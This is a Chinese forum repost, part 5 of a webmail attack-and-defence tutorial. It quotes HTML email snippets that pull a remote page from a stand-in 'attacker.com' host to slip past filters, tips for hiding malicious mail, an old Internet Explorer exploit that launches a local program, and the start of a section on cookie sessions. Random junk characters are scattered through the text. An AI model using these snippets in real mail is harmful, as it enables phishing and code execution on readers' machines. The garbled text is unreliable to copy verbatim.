Webmail攻防實戰(5)
除了可以在html郵件中直接嵌入腳本程序外，攻擊者還可以設計一些html代碼，在用戶打開html郵件時，不知不覺引入另一個html文件，而此文件中正含有惡性代碼，這樣不僅能直接繞過WebMail係統對腳本程序的過濾，而且還能有效避開提供了防毒服務的郵件係統對惡性代碼的查殺。下面是幾個調用html文件的例子： ?#Q,bQ dfkq nHt(1)Refresh到另一個頁面：(Q LLh0@
[table=95%][tr][td][color=#ff0000]以下為引用的內容：[/color]
＜body＞%r*x;WS Uq
＜metahttp-equiv="refresh"c＞:CF)J;RD} K
＜/body＞[/td][/tr][/table]
(2)Iframe引入另一個頁面：
7~Z id$fV-cF6g
[table=95%][tr][td][color=#ff0000]以下為引用的內容：[/color]
F4Z p.d7f"T KA
＜body＞QM%YyFI/wp
＜iframesrc="http://www.attacker.com/import.htm"frameborder="0"＞＜/iframe＞
＜/body＞[/td][/tr][/table]-G_]B P(_^
(3)scriptlet引入另一個頁面：`+P|eYK
[%E3G.u9G%m-D
[table=95%][tr][td][color=#ff0000]以下為引用的內容：[/color]:A T(Lqd o'K
＜body＞
＜objecttype="text/x-scriptlet"data="http://www.attacker.com/import.htm"＞＜/object＞M~(l/?~&lT+m
＜/body＞[/td][/tr][/table]-i m:~ of@
r#_aK?$o J
攻擊者還可以採取如下方法，使帶有惡性代碼的html郵件具有更大的隱蔽性：
(1)配合郵件欺騙技術，使用戶不會懷疑收到的郵件，並且攻擊者也能隱藏自己的行蹤。 s3qYy2uQ8[C
(2)把html郵件設計成看起來像txt郵件。
uS2`/@ _
(3)有時可以把html郵件中的惡性代碼放在一個隱藏的層裏面，表面上看不出任何變化。 [color=#f5fafe][/color]
針對惡性腳本程序的影響，對用戶常見的建議辦法是提高瀏覽器的安全級別，如禁用ActiveX、禁用腳本等，但這並不是一個很好的辦法，因為這樣會影響到用戶對其他正常html頁面的瀏覽。即使瀏覽器達到了最高級別，依然對某些惡性代碼無濟於事，下面是位以色列安全專家發現的漏洞，能讓 Windows係統自動執行任何本地程序，即使InternetExplorer已經禁止了ActiveX和腳本程序：
FJ4|H+L+_4{Q*h
*j)Zj)L8S9z N_B
[table=95%][tr][td][color=#ff0000]以下為引用的內容：[/color]1C2r-Vo\ x
＜spandatasrc="#oExec"datafld="exploit"dataformatas="html"＞＜/span＞
＜xmlid="oExec"＞
＜security＞
＜exploit＞m Ik1{&k r
＜![CDATA[
＜objectid="oFile"classid="clsid:11111111-1111-1111-1111-
111111111111"codebase="c:/winnt/system32/calc.exe"＞＜/object＞1PG1\ So(D1w
]]＞
＜/exploit＞.X ~JBo}Y+rq
＜/security＞
＜/xml＞[/td][/tr][/table]0w v b9bY.P VP9WW
面對惡性html郵件，WebMail係統和用戶似乎都沒有很好的解決辦法，雖然許多WebMail係統已經能夠過濾掉html郵件中的很多惡性代碼，不過令人遺憾的是，要想徹底過濾掉惡性代碼並不是一件容易的事情，攻擊者總能利用WebMail係統過濾機制和瀏覽器的漏洞找到辦法繞過種種過濾，WebMail係統所能做的就是發現一個漏洞補一個漏洞。 為了減少乃至避免惡性html郵件的影響，在打開html郵件之前，WebMail係統有必要提醒用戶這是一個html郵件，如果能提供讓用戶以文本方式瀏覽html郵件的功能，則是最好不過。在打開不明郵件之前，用戶更要小心謹慎，最好把html郵件“目標另存為”到本地硬盤上再打開來看，如果能先查看html郵件源代碼，則是最好不過。
另外需要特別提醒用戶注意的是，雖然一些電子郵件係統會在WebMail係統上對html郵件中的惡性代碼進行過濾，但在pop3服務器上並不會進行過濾，所以，如果是通過郵件客戶端收取郵件，仍然要謹防惡性html郵件的危害。
0x Md_ q#CM
五、Cookie會話攻擊 [color=#f5fafe][/color] }?g dj9R [Yie|/fs
當用戶以自已的郵箱帳戶和密碼登錄進WebMail以後，如果再讓用戶對每一步操作都輸入密碼加以確認就會讓人不甚其煩。所以WebMail係統有必要進行用戶會話跟蹤，WebMail係統用到的會話跟蹤技術主要有兩種：cookie會話跟蹤和URL會話跟蹤。 1r N"D~9L
Cookie是web服務器保存在用戶瀏覽器上的文本信息，可以包含用戶名、特殊ID、訪問次數等任何信息，通常此信息用於標識訪問同一web服務器上的不同用戶，在瀏覽器每次訪問同一web服務器時會發送過去，用於跟蹤特定客戶端或瀏覽器與web服務器進行交互的狀態。 [color=#f5fafe][/color] ;y oPh_W C J5l1gG Z
Cookie的類型有兩種：持久型和臨時型。持久型cookie以文本形式存儲在硬盤上，由瀏覽器存取。使用了持久型cookie會話跟蹤的 WebMail係統有hotmail、yahoo電郵（可選）等。臨時型cookie也稱為會話cookie，存儲在內存中，僅為當前瀏覽器的對話存儲，關閉當前瀏覽器後會立即消失，ASP、PHP4等開發程序中用到的session對象就會產生臨時型cookie。使用了臨時型cookie會話跟蹤的 WebMail係統有FM365、億郵等。
頁:
[1]